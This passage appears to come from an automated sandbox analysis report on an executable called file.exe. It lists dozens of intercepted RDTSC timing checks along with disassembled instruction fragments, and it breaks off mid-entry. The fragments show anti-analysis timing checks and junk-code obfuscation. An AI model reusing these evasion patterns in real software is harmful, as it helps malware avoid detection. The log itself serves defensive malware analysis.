Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 947279 second address: 9472BB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jng 00007F3AB92824A4h 0x00000011 jmp 00007F3AB928249Eh 0x00000016 mov eax, dword ptr [eax] 0x00000018 jmp 00007F3AB928249Dh 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 jne 00007F3AB9282496h 0x0000002a je 00007F3AB9282496h 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9649E9 second address: 9649FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3AB92655FFh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9650F7 second address: 965103 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3AB9282496h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9652C4 second address: 9652CC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9652CC second address: 9652E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3AB92824A0h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9652E2 second address: 9652E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 965595 second address: 96559B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 965891 second address: 965895 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 965895 second address: 9658B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB92824A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9658B6 second address: 9658BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9658BA second address: 9658C4 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3AB9282496h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9658C4 second address: 9658D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3AB92655FDh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95BE06 second address: 95BE0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95BE0E second address: 95BE13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95BE13 second address: 95BE19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 937B51 second address: 937B6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3AB9265606h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 937B6D second address: 937B72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 966258 second address: 96625D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96625D second address: 966273 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB92824A1h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9664FD second address: 966507 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 966507 second address: 96650D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96650D second address: 966511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 966511 second address: 966526 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB92824A1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96C040 second address: 96C064 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3AB9265609h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96C064 second address: 96C06A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96C06A second address: 96C074 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3AB92655FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96C423 second address: 96C428 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9711F5 second address: 97121F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F3AB92655F6h 0x00000009 jnc 00007F3AB92655F6h 0x0000000f jmp 00007F3AB9265609h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971688 second address: 971695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007F3AB9282496h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971830 second address: 971854 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F3AB92655F6h 0x00000009 push esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push ecx 0x0000000f pushad 0x00000010 popad 0x00000011 je 00007F3AB92655F6h 0x00000017 pop ecx 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jns 00007F3AB92655F6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971854 second address: 97186E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB92824A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9719FD second address: 971A01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 973CDD second address: 973CE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 973CE1 second address: 973D19 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3AB92655F6h 0x00000008 jmp 00007F3AB9265606h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F3AB9265605h 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 973D19 second address: 973D24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 973D24 second address: 973D28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 974B17 second address: 974B1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 974B8F second address: 974B93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 974B93 second address: 974B97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 974B97 second address: 974BA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 974BA0 second address: 974C02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3AB92824A0h 0x00000009 popad 0x0000000a popad 0x0000000b add dword ptr [esp], 33859624h 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F3AB9282498h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 0000001Bh 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c mov si, E5CEh 0x00000030 call 00007F3AB9282499h 0x00000035 push eax 0x00000036 jnc 00007F3AB928249Ch 0x0000003c pop eax 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 974C02 second address: 974C08 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 974C08 second address: 974C1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3AB92824A0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 974C1C second address: 974C20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 974C20 second address: 974C31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 974C31 second address: 974C35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 974C35 second address: 974C7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB92824A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jmp 00007F3AB92824A6h 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F3AB928249Eh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 974D2B second address: 974D35 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3AB92655F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 974D35 second address: 974D40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F3AB9282496h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9758BA second address: 9758BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 975914 second address: 975918 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 975918 second address: 975958 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], ebx 0x00000009 pushad 0x0000000a mov dword ptr [ebp+122D3683h], edx 0x00000010 mov eax, dword ptr [ebp+122D390Fh] 0x00000016 popad 0x00000017 jmp 00007F3AB92655FAh 0x0000001c nop 0x0000001d jmp 00007F3AB9265600h 0x00000022 push eax 0x00000023 pushad 0x00000024 ja 00007F3AB92655F8h 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 975958 second address: 97595C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 975BC4 second address: 975BCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F3AB92655F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 975D77 second address: 975D7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 975D7C second address: 975D91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3AB92655FBh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976427 second address: 976433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976433 second address: 976438 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976DE9 second address: 976DED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976DED second address: 976E32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3AB92655FAh 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f mov esi, dword ptr [ebp+122D18EDh] 0x00000015 push 00000000h 0x00000017 jl 00007F3AB92655F6h 0x0000001d mov esi, dword ptr [ebp+122D392Bh] 0x00000023 push 00000000h 0x00000025 xor edi, 2F2C060Ah 0x0000002b xchg eax, ebx 0x0000002c jmp 00007F3AB92655FDh 0x00000031 push eax 0x00000032 pushad 0x00000033 pushad 0x00000034 pushad 0x00000035 popad 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976E32 second address: 976E46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3AB928249Dh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 977545 second address: 977556 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push eax 0x0000000f pop eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 977556 second address: 97755D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97933B second address: 979352 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB92655FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 979352 second address: 979358 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 979358 second address: 9793D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB92655FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F3AB92655F8h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 add esi, 337C008Dh 0x0000002a push 00000000h 0x0000002c jmp 00007F3AB9265606h 0x00000031 push 00000000h 0x00000033 mov edi, dword ptr [ebp+122D39BBh] 0x00000039 xchg eax, ebx 0x0000003a push edx 0x0000003b jp 00007F3AB92655F8h 0x00000041 pop edx 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 js 00007F3AB926560Ah 0x0000004b jmp 00007F3AB9265604h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 979E14 second address: 979EAE instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3AB92824A3h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F3AB9282498h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 cmc 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push ebx 0x0000002d call 00007F3AB9282498h 0x00000032 pop ebx 0x00000033 mov dword ptr [esp+04h], ebx 0x00000037 add dword ptr [esp+04h], 00000019h 0x0000003f inc ebx 0x00000040 push ebx 0x00000041 ret 0x00000042 pop ebx 0x00000043 ret 0x00000044 jg 00007F3AB9282499h 0x0000004a push esi 0x0000004b mov edi, 4208A5A6h 0x00000050 pop esi 0x00000051 push 00000000h 0x00000053 jnp 00007F3AB92824B4h 0x00000059 call 00007F3AB92824A8h 0x0000005e mov edi, 3DA8EB91h 0x00000063 pop esi 0x00000064 push eax 0x00000065 pushad 0x00000066 push eax 0x00000067 push edx 0x00000068 pushad 0x00000069 popad 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 979EAE second address: 979EB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97A922 second address: 97A928 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97A928 second address: 97A939 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3AB92655FDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97C9DE second address: 97C9F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB928249Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jng 00007F3AB92824B4h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97C9F7 second address: 97C9FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97A6DF second address: 97A6E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97A6E3 second address: 97A6E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 981CF7 second address: 981CFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 983280 second address: 983291 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jnp 00007F3AB92655F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 928A18 second address: 928A1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 984AEA second address: 984AEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 984AEF second address: 984B0D instructions: 0x00000000 rdtsc 0x00000002 js 00007F3AB928249Ch 0x00000008 jp 00007F3AB9282496h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F3AB928249Bh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 983BE5 second address: 983BE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 985BB7 second address: 985C12 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jns 00007F3AB9282496h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f add dword ptr [ebp+124677CFh], edi 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 xor dword ptr [ebp+12467A0Bh], edi 0x0000001e pop ebx 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push ebx 0x00000024 call 00007F3AB9282498h 0x00000029 pop ebx 0x0000002a mov dword ptr [esp+04h], ebx 0x0000002e add dword ptr [esp+04h], 00000019h 0x00000036 inc ebx 0x00000037 push ebx 0x00000038 ret 0x00000039 pop ebx 0x0000003a ret 0x0000003b movsx edi, ax 0x0000003e mov edi, 0A626E01h 0x00000043 or ebx, 6D25AC75h 0x00000049 xchg eax, esi 0x0000004a js 00007F3AB92824A0h 0x00000050 push eax 0x00000051 push edx 0x00000052 push edx 0x00000053 pop edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 984CEB second address: 984D05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB9265606h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 986C3D second address: 986C43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 986C43 second address: 986C47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 986C47 second address: 986CC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F3AB92824A6h 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007F3AB9282498h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 00000014h 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 mov bx, 4400h 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ecx 0x00000032 call 00007F3AB9282498h 0x00000037 pop ecx 0x00000038 mov dword ptr [esp+04h], ecx 0x0000003c add dword ptr [esp+04h], 00000019h 0x00000044 inc ecx 0x00000045 push ecx 0x00000046 ret 0x00000047 pop ecx 0x00000048 ret 0x00000049 push 00000000h 0x0000004b jmp 00007F3AB928249Fh 0x00000050 xchg eax, esi 0x00000051 push edi 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 987DC8 second address: 987DCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 987DCC second address: 987E6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 jne 00007F3AB928249Fh 0x0000000e push dword ptr fs:[00000000h] 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007F3AB9282498h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 00000017h 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f jnc 00007F3AB928249Ch 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c mov edi, ebx 0x0000003e mov edi, dword ptr [ebp+122D37F7h] 0x00000044 mov eax, dword ptr [ebp+122D0959h] 0x0000004a jmp 00007F3AB92824A4h 0x0000004f push FFFFFFFFh 0x00000051 push 00000000h 0x00000053 push ebx 0x00000054 call 00007F3AB9282498h 0x00000059 pop ebx 0x0000005a mov dword ptr [esp+04h], ebx 0x0000005e add dword ptr [esp+04h], 00000018h 0x00000066 